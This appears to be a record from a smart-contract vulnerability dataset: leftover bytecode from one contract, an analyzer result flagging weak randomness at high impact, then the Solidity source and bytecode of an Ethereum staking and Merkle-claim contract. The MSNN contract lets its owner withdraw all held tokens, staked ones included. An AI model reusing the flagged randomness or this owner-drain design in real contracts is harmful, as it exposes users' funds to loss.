ffffffffffffffffffffffffffffffffff16610d666114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db39061280c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600980549050905090565b610e8f611e40565b73ffffffffffffffffffffffffffffffffffffffff16610ead6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610f03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efa9061280c565b60405180910390fd5b600960405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000019080519060200190610f75929190611e48565b5060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050508173ffffffffffffffffffffffffffffffffffffffff1681604051610fe49190612696565b60405180910390207f2758040f7c4cdf548afa4be1444dc4936980ea205720a46007836076aa783f1160405160405180910390a35050565b600081600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d348b4096040518163ffffffff1660e01b815260040160206040518083038186803b15801561108757600080fd5b505afa15801561109b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bf9190612256565b6110c99190612b89565b9050816110d461184d565b6110de9190612b89565b341015611120576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111179061282c565b60405180910390fd5b6009805490508310611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e906127ec565b60405180910390fd5b600983815481106111a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611218573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636863c4f482846040518363ffffffff1660e01b815260040161127591906128ae565b6000604051808303818588803b15801561128e57600080fd5b505af11580156112a2573d6000803e3d6000fd5b50505050506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561131157600080fd5b505afa158015611325573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113499190612256565b9050600083826113599190612be3565b90505b8181101561140857600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b88d4fde3033846040518463ffffffff1660e01b81526004016113c3939291906126fa565b600060405180830381600087803b1580156113dd57600080fd5b505af11580156113f1573d6000803e3d6000fd5b50505050808061140090612d42565b91505061135c565b503460098581548110611444577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160000160405161146291906126ad565b60405180910390207ff6b5e75f5eb45da2732178cb398223127fe363b3b018d50877b3f5ef568f31c560405160405180910390a350505050565b60065481565b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60055481565b6114df611e40565b73ffffffffffffffffffffffffffffffffffffffff166114fd6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a9061280c565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611599573d6000803e3d6000fd5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6115f6611e40565b73ffffffffffffffffffffffffffffffffffffffff166116146114a8565b73ffffffffffffffffffffffffffffffffffffffff161461166a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116619061280c565b60405180910390fd5b6009600160098054905061167e9190612be3565b815481106116b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600982815481106116fd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600082018160000190805461171f90612cdf565b61172a929190611ece565b506001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090505060098054806117cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000209060020201600080820160006117f29190611f5b565b6001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055807ff5d7d0698ce0f748a4c523fff3a8359c99802dd2df70844e3779395bd14040d360405160405180910390a250565b6000600360009054906101000a900460ff1661189e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118959061284c565b60405180910390fd5b6000600254426118ae9190612be3565b90506000600754826118c091906129e7565b90506000816004546118d29190612a6b565b9050600081600654600754866118e89190612d8b565b6118f29190612b89565b6118fc91906129e7565b90506000818360055461190f91906129e7565b6119199190612be3565b9050809550505050505090565b61192e611e40565b73ffffffffffffffffffffffffffffffffffffffff1661194c6114a8565b73ffffffffffffffffffffffffffffffffffffffff16146119a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119999061280c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a09906127cc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611ad7611e40565b73ffffffffffffffffffffffffffffffffffffffff16611af56114a8565b73ffffffffffffffffffffffffffffffffffffffff1614611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b429061280c565b60405180910390fd5b426002819055508160058190555080600781905550600454600754600554611b7391906129e7565b611b7d91906129e7565b6006819055506001600360006101000a81548160ff02191690831515021790555080826002547f4592e5bca5821712174f269754e5a73f54e9e1dd085e94115adcd0b0aff9b3a060405160405180910390a45050565b60098181548110611be357600080fd5b9060005260206000209060020201600091509050806000018054611c0690612cdf565b80601f0160208091040260200160405190810160405280929190818152602001828054611c3290612cdf565b8015611c7f5780601f10611c5457610100808354040283529160200191611c7f565b820191906000526020600020905b815481529060010190602001808311611c6257829003601f168201915b5050505050908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b611cb7611f9b565b6009805490508210611cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf59061286c565b60405180910390fd5b60098281548110611d38577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201604051806040016040529081600082018054611d6190612cdf565b80601f0160208091040260200160405190810160405280929190818152602001828054611d8d90612cdf565b8015611dda5780601f10611daf57610100808354040283529160200191611dda565b820191906000526020600020905b815481529060010190602001808311611dbd57829003601f168201915b505050505081526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050919050565b600033905090565b828054611e5490612cdf565b90600052602060002090601f016020900481019282611e765760008555611ebd565b82601f10611e8f57805160ff1916838001178555611ebd565b82800160010185558215611ebd579182015b82811115611ebc578251825591602001919060010190611ea1565b5b509050611eca9190611fcb565b5090565b828054611eda90612cdf565b90600052602060002090601f016020900481019282611efc5760008555611f4a565b82601f10611f0d5780548555611f4a565b82800160010185558215611f4a57600052602060002091601f016020900482015b82811115611f49578254825591600101919060010190611f2e565b5b509050611f579190611fcb565b5090565b508054611f6790612cdf565b6000825580601f10611f795750611f98565b601f016020900490600052602060002090810190611f979190611fcb565b5b50565b604051806040016040528060608152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b5b80821115611fe4576000816000905550600101611fcc565b5090565b6000611ffb611ff6846128ee565b6128c9565b90508281526020810184848401111561201357600080fd5b61201e848285612c9d565b509392505050565b60006120396120348461291f565b6128c9565b90508281526020810184848401111561205157600080fd5b61205c848285612c9d565b509392505050565b60008135905061207381613001565b92915050565b60008135905061208881613018565b92915050565b600082601f83011261209f57600080fd5b81356120af848260208601611fe8565b91505092915050565b600082601f8301126120c957600080fd5b81356120d9848260208601612026565b91505092915050565b6000813590506120f18161302f565b92915050565b6000815190506121068161302f565b92915050565b60006020828403121561211e57600080fd5b600061212c84828501612064565b91505092915050565b60006020828403121561214757600080fd5b600061215584828501612079565b91505092915050565b6000806000806080858703121561217457600080fd5b600061218287828801612064565b945050602061219387828801612064565b93505060406121a4878288016120e2565b925050606085013567ffffffffffffffff8111156121c157600080fd5b6121cd8782880161208e565b91505092959194509250565b600080604083850312156121ec57600080fd5b60006121fa85828601612064565b925050602083013567ffffffffffffffff81111561221757600080fd5b612223858286016120b8565b9150509250929050565b60006020828403121561223f57600080fd5b600061224d848285016120e2565b91505092915050565b60006020828403121561226857600080fd5b6000612276848285016120f7565b91505092915050565b60008060006060848603121561229457600080fd5b60006122a2868287016120e2565b93505060206122b386828701612064565b925050604084013567ffffffffffffffff8111156122d057600080fd5b6122dc868287016120b8565b9150509250925092565b600080604083850312156122f957600080fd5b6000612307858286016120e2565b9250506020612318858286016120e2565b9150509250929050565b600061232e838361260d565b905092915050565b61233f81612c29565b82525050565b61234e81612c17565b82525050565b61235d81612c17565b82525050565b600061236e82612975565b6123788185612998565b93508360208202850161238a85612950565b8060005b858110156123c657848403895281516123a78582612322565b94506123b28361298b565b925060208a0199505060018101905061238e565b50829750879550505050505092915050565b6123e181612c3b565b82525050565b6123f081612c47565b82525050565b600061240182612980565b61240b81856129ba565b935061241b818560208601612cac565b61242481612e78565b840191505092915050565b600061243a82612980565b61244481856129cb565b9350612454818560208601612cac565b61245d81612e78565b840191505092915050565b600061247382612980565b61247d81856129dc565b935061248d818560208601612cac565b80840191505092915050565b600081546124a681612cdf565b6124b081866129dc565b945060018216600081146124cb57600181146124dc5761250f565b60ff1983168652818601935061250f565b6124e585612960565b60005b83811015612507578154818901526001820191506020810190506124e8565b838801955050505b50505092915050565b60006125256026836129cb565b915061253082612e96565b604082019050919050565b60006125486024836129cb565b915061255382612ee5565b604082019050919050565b600061256b6020836129cb565b915061257682612f34565b602082019050919050565b600061258e601b836129cb565b915061259982612f5d565b602082019050919050565b60006125b16000836129a9565b91506125bc82612f86565b600082019050919050565b60006125d4601d836129cb565b91506125df82612f89565b602082019050919050565b60006125f7602d836129cb565b915061260282612fb2565b604082019050919050565b6000604083016000830151848203600086015261262a82826123f6565b915050602083015161263f6020860182612345565b508091505092915050565b6000604083016000830151848203600086015261266782826123f6565b915050602083015161267c6020860182612345565b508091505092915050565b61269081612c93565b82525050565b60006126a28284612468565b915081905092915050565b60006126b98284612499565b915081905092915050565b60006020820190506126d96000830184612354565b92915050565b60006020820190506126f46000830184612336565b92915050565b600060808201905061270f6000830186612354565b61271c6020830185612354565b6127296040830184612687565b818103606083015261273a816125a4565b9050949350505050565b6000602082019050818103600083015261275e8184612363565b905092915050565b600060208201905061277b60008301846123d8565b92915050565b600060208201905061279660008301846123e7565b92915050565b600060408201905081810360008301526127b6818561242f565b90506127c56020830184612354565b9392505050565b600060208201905081810360008301526127e581612518565b9050919050565b600060208201905081810360008301526128058161253b565b9050919050565b600060208201905081810360008301526128258161255e565b9050919050565b6000602082019050818103600083015261284581612581565b9050919050565b60006020820190508181036000830152612865816125c7565b9050919050565b60006020820190508181036000830152612885816125ea565b9050919050565b600060208201905081810360008301526128a6818461264a565b905092915050565b60006020820190506128c36000830184612687565b92915050565b60006128d36128e4565b90506128df8282612d11565b919050565b6000604051905090565b600067ffffffffffffffff82111561290957612908612e49565b5b61291282612e78565b9050602081019050919050565b600067ffffffffffffffff82111561293a57612939612e49565b5b61294382612e78565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006129f282612c93565b91506129fd83612c93565b925082612a0d57612a0c612deb565b5b828204905092915050565b6000808291508390505b6001851115612a6257808604811115612a3e57612a3d612dbc565b5b6001851615612a4d5780820291505b8081029050612a5b85612e89565b9450612a22565b94509492505050565b6000612a7682612c93565b9150612a8183612c93565b9250612aae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ab6565b905092915050565b600082612ac65760019050612b82565b81612ad45760009050612b82565b8160018114612aea5760028114612af457612b23565b6001915050612b82565b60ff841115612b0657612b05612dbc565b5b8360020a915084821115612b1d57612b1c612dbc565b5b50612b82565b5060208310610133831016604e8410600b8410161715612b585782820a905083811115612b5357612b52612dbc565b5b612b82565b612b658484846001612a18565b92509050818404811115612b7c57612b7b612dbc565b5b81810290505b9392505050565b6000612b9482612c93565b9150612b9f83612c93565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612bd857612bd7612dbc565b5b828202905092915050565b6000612bee82612c93565b9150612bf983612c93565b925082821015612c0c57612c0b612dbc565b5b828203905092915050565b6000612c2282612c73565b9050919050565b6000612c3482612c73565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612cca578082015181840152602081019050612caf565b83811115612cd9576000848401525b50505050565b60006002820490506001821680612cf757607f821691505b60208210811415612d0b57612d0a612e1a565b5b50919050565b612d1a82612e78565b810181811067ffffffffffffffff82111715612d3957612d38612e49565b5b80604052505050565b6000612d4d82612c93565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d8057612d7f612dbc565b5b600182019050919050565b6000612d9682612c93565b9150612da183612c93565b925082612db157612db0612deb565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f552043484f534520412043484152495459205448415420444f45534e2754204560008201527f5849535400000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f594f5520484156454e2754205041494420454e4f554748204c4f4c0000000000600082015250565b50565b7f53414c45204841534e27542053544152544544204f5220504155534544000000600082015250565b7f594f552052455155455354454420412043484152495459204f5554534944452060008201527f5448452052414e47452050414c00000000000000000000000000000000000000602082015250565b61300a81612c17565b811461301557600080fd5b50565b61302181612c29565b811461302c57600080fd5b50565b61303881612c93565b811461304357600080fd5b5056fea26469706673582212209c6062c3002204744511a353a49a0a3877403e61bb6587d6431a6e8f662ae99864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}}
| 4,164 |
0x1ec0b8d69ada68aa4f9f3ee2538e60a5c84731bf
|
/**
*Submitted for verification at Etherscan.io on 2022-03-26
*/
// SPDX-License-Identifier: GPL v3
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
contract MSNN_MINING {
uint256 public payable_amount;
address private MSNNAddr;
address private MiningOwner;
mapping(address => string) private keepers; //keeper account can add add_merkle_root
mapping(bytes32 => uint256) private merkleRoots; // merkleRoot=>balance
mapping(bytes32 => mapping(uint256 => bool)) private claimed; //bytes32 merkleRoot => (index => true|false)
mapping(address => uint256) private acc_staking;
constructor(address _MSNNcontractAddr) {
MiningOwner = msg.sender;
MSNNAddr = _MSNNcontractAddr;
keepers[msg.sender] = "MiningOwner";
}
modifier onlyMiningOwner() {
require(msg.sender == MiningOwner, "only MiningOwner");
_;
}
event set_MiningOwner_EVENT(
address trigger_user_addr,
address oldOwner,
address newOwner,
uint256 blocktime
);
function set_MiningOwner(address _newOwner) external onlyMiningOwner {
require(
_newOwner != MiningOwner,
"The new owner must be different from the old"
);
address oldMiningOwner = MiningOwner;
delete keepers[oldMiningOwner];
MiningOwner = _newOwner;
keepers[_newOwner] = "MiningOwner";
emit set_MiningOwner_EVENT(
msg.sender,
oldMiningOwner,
_newOwner,
block.timestamp
);
}
function get_MiningOwner() external view returns (address) {
return MiningOwner;
}
function get_msn_addr() public view returns (address) {
return MSNNAddr;
}
function get_contract_balance() public view returns (uint256) {
return IERC20(MSNNAddr).balanceOf(address(this));
}
function get_keeper(address keeper_addr)
public
view
returns (string memory)
{
require(bytes(keepers[keeper_addr]).length != 0, "No such a keeper");
return keepers[keeper_addr];
}
event add_keeper_EVENT(
address trigger_user_addr,
address keeper_addr,
string keeper_name,
uint256 blocktime
);
function add_keeper(address keeper_addr, string calldata keeper_name)
external
onlyMiningOwner
{
require(bytes(keeper_name).length != 0, "No name");
keepers[keeper_addr] = keeper_name;
emit add_keeper_EVENT(
msg.sender,
keeper_addr,
keeper_name,
block.timestamp
);
}
event remove_keeper_EVENT(
address trigger_user_addr,
address keeper_addr,
string keeper_name,
uint256 blocktime
);
function remove_keeper(address keeper_addr) external onlyMiningOwner {
require(bytes(keepers[keeper_addr]).length != 0, "No such a keeper");
require(keeper_addr != MiningOwner, "Can not delete MiningOwner");
string memory keeper_name = keepers[keeper_addr];
delete keepers[keeper_addr];
emit remove_keeper_EVENT(
msg.sender,
keeper_addr,
keeper_name,
block.timestamp
);
}
modifier onlyKeeper() {
require(bytes(keepers[msg.sender]).length != 0, "No such a keeper");
_;
}
event add_merkle_root_EVENT(
address trigger_user_addr,
bytes32 merkleRoot,
uint256 amount,
uint256 blocktime
);
function set_merkle_root(bytes32 merkleRoot, uint256 amount)
external
onlyKeeper
{
merkleRoots[merkleRoot] = amount + 1; // +1 for never to 0 again
emit add_merkle_root_EVENT(
msg.sender,
merkleRoot,
amount,
block.timestamp
);
}
event remove_merkle_root_EVENT(
address trigger_user_addr,
bytes32 merkleRoot,
uint256 blocktime
);
function remove_merkle_root(bytes32 merkleRoot) external onlyMiningOwner {
delete merkleRoots[merkleRoot];
emit remove_merkle_root_EVENT(msg.sender, merkleRoot, block.timestamp);
}
function get_merkle_balance(bytes32 merkleRoot)
public
view
returns (uint256)
{
return merkleRoots[merkleRoot];
}
event claim_erc20_EVENT(
address trigger_user_addr,
bytes32 merkleRoot,
uint256 amount,
uint256 time
);
function claim_erc20(
bytes32 merkleRoot,
uint256 index,
uint256 amount,
bytes32[] calldata merkleProof
) external {
require(merkleRoots[merkleRoot] != 0, "The merkleRoot doesn't exist");
require(claimed[merkleRoot][index] == false, "Already claimed");
bytes32 leaf = keccak256(abi.encodePacked(index, msg.sender, amount));
bool verify = MerkleProof.verify(merkleProof, merkleRoot, leaf);
require(verify == true, "Not verified");
require(merkleRoots[merkleRoot] > amount, "Not enough balance");
merkleRoots[merkleRoot] -= amount;
claimed[merkleRoot][index] = true;
bool result = IERC20(MSNNAddr).transfer(msg.sender, amount);
require(result == true, "transfer error");
emit claim_erc20_EVENT(msg.sender, merkleRoot, amount, block.timestamp);
}
function erc20_claimed(bytes32 merkleRoot, uint256 index)
external
view
returns (bool)
{
return claimed[merkleRoot][index];
}
event stake_token_EVENT(
address trigger_user_addr,
uint256 amount,
string userid,
uint256 blocktime
);
function stake_token(uint256 amount, string calldata userid) external {
uint256 allowance = IERC20(MSNNAddr).allowance(
msg.sender,
address(this)
);
require(allowance > 0, "Not allowed");
bool t_result = IERC20(MSNNAddr).transferFrom(
msg.sender,
address(this),
amount
);
require(t_result == true, "transfer error");
acc_staking[msg.sender] += amount;
emit stake_token_EVENT(msg.sender, amount, userid, block.timestamp);
}
function get_acc_staking(address addr) public view returns (uint256) {
return acc_staking[addr];
}
receive() external payable {
payable_amount += msg.value;
}
fallback() external payable {
payable_amount += msg.value;
}
event withdraw_eth_EVENT(
address trigger_user_addr,
uint256 _amount,
uint256 blocktime
);
function withdraw_eth() external onlyMiningOwner {
uint256 amout_to_t = address(this).balance;
payable(msg.sender).transfer(amout_to_t);
payable_amount = 0;
emit withdraw_eth_EVENT(msg.sender, amout_to_t, block.timestamp);
}
event withdraw_contract_EVENT(
address trigger_user_addr,
address _from,
uint256 amount,
uint256 blocktime
);
function withdraw_contract() public onlyMiningOwner {
uint256 left = IERC20(MSNNAddr).balanceOf(address(this));
require(left > 0, "No balance");
IERC20(MSNNAddr).transfer(msg.sender, left);
emit withdraw_contract_EVENT(
msg.sender,
address(this),
left,
block.timestamp
);
}
}
|
0x6080604052600436106101025760003560e01c8063a11cc87211610095578063c747746211610064578063c747746214610367578063cc35c71214610392578063d6f8560d146103bb578063f0bc153a146103d2578063f3933b26146103fd57610121565b8063a11cc872146102c1578063ab484661146102ea578063ba2f180b14610313578063bb2bafad1461035057610121565b80638e6c9eb3116100d15780638e6c9eb31461021b5780639235cc9a1461024457806392ec504c1461026d5780639eeca5c31461029657610121565b80630b550d491461013b578063255e19111461017857806337a08edb146101b557806364f5f469146101f257610121565b366101215734600080828254610118919061269b565b92505081905550005b34600080828254610132919061269b565b92505081905550005b34801561014757600080fd5b50610162600480360381019061015d9190611dd8565b610428565b60405161016f91906124a7565b60405180910390f35b34801561018457600080fd5b5061019f600480360381019061019a9190611dab565b610464565b6040516101ac9190612664565b60405180910390f35b3480156101c157600080fd5b506101dc60048036038101906101d79190611cf1565b610481565b6040516101e99190612664565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190611dab565b6104ca565b005b34801561022757600080fd5b50610242600480360381019061023d9190611dd8565b6105af565b005b34801561025057600080fd5b5061026b60048036038101906102669190611ecd565b6106a3565b005b34801561027957600080fd5b50610294600480360381019061028f9190611d1e565b61092f565b005b3480156102a257600080fd5b506102ab610a99565b6040516102b89190612664565b60405180910390f35b3480156102cd57600080fd5b506102e860048036038101906102e39190611e18565b610a9f565b005b3480156102f657600080fd5b50610311600480360381019061030c9190611cf1565b610e31565b005b34801561031f57600080fd5b5061033a60048036038101906103359190611cf1565b611139565b60405161034791906124c2565b60405180910390f35b34801561035c57600080fd5b50610365611299565b005b34801561037357600080fd5b5061037c61150b565b60405161038991906121de565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190611cf1565b611535565b005b3480156103c757600080fd5b506103d06117d3565b005b3480156103de57600080fd5b506103e76118f4565b6040516103f49190612664565b60405180910390f35b34801561040957600080fd5b506104126119a6565b60405161041f91906121de565b60405180910390f35b600060056000848152602001908152602001600020600083815260200190815260200160002060009054906101000a900460ff16905092915050565b600060046000838152602001908152602001600020549050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461055a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055190612604565b60405180910390fd5b60046000828152602001908152602001600020600090557f1be644250de5aac7496f2fb376102ca802dfd09b8b79a87c4e2fbd4d8f149ec73382426040516105a49392919061237d565b60405180910390a150565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080546105fb906127b9565b9050141561063e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063590612644565b60405180910390fd5b60018161064b919061269b565b60046000848152602001908152602001600020819055507f77858c1dd8d0f2ca3f599d884368a82590cafa96e1bf0aae3dfe7cabc7f6f1f43383834260405161069794939291906123b4565b60405180910390a15050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b81526004016107029291906121f9565b60206040518083038186803b15801561071a57600080fd5b505afa15801561072e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107529190611ea0565b905060008111610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906125c4565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b81526004016107f893929190612301565b602060405180830381600087803b15801561081257600080fd5b505af1158015610826573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084a9190611d7e565b90506001151581151514610893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088a906125e4565b60405180910390fd5b84600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108e2919061269b565b925050819055507f0c8e1e9b14b520627a206ef365bc67b3409abfacbd312a9788f673aed82df95c3386868642604051610920959493929190612422565b60405180910390a15050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b690612604565b60405180910390fd5b6000828290501415610a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fd90612584565b60405180910390fd5b8181600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209190610a54929190611a73565b507f6559ef5d957763f6fec38393527502e64a4e1c2836b836a0fe84e0f12b3bcafc3384848442604051610a8c959493929190612267565b60405180910390a1505050565b60005481565b600060046000878152602001908152602001600020541415610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90612504565b60405180910390fd5b6000151560056000878152602001908152602001600020600086815260200190815260200160002060009054906101000a900460ff16151514610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b65906125a4565b60405180910390fd5b6000843385604051602001610b85939291906121a1565b6040516020818303038152906040528051906020012090506000610beb8484808060200260200160405190810160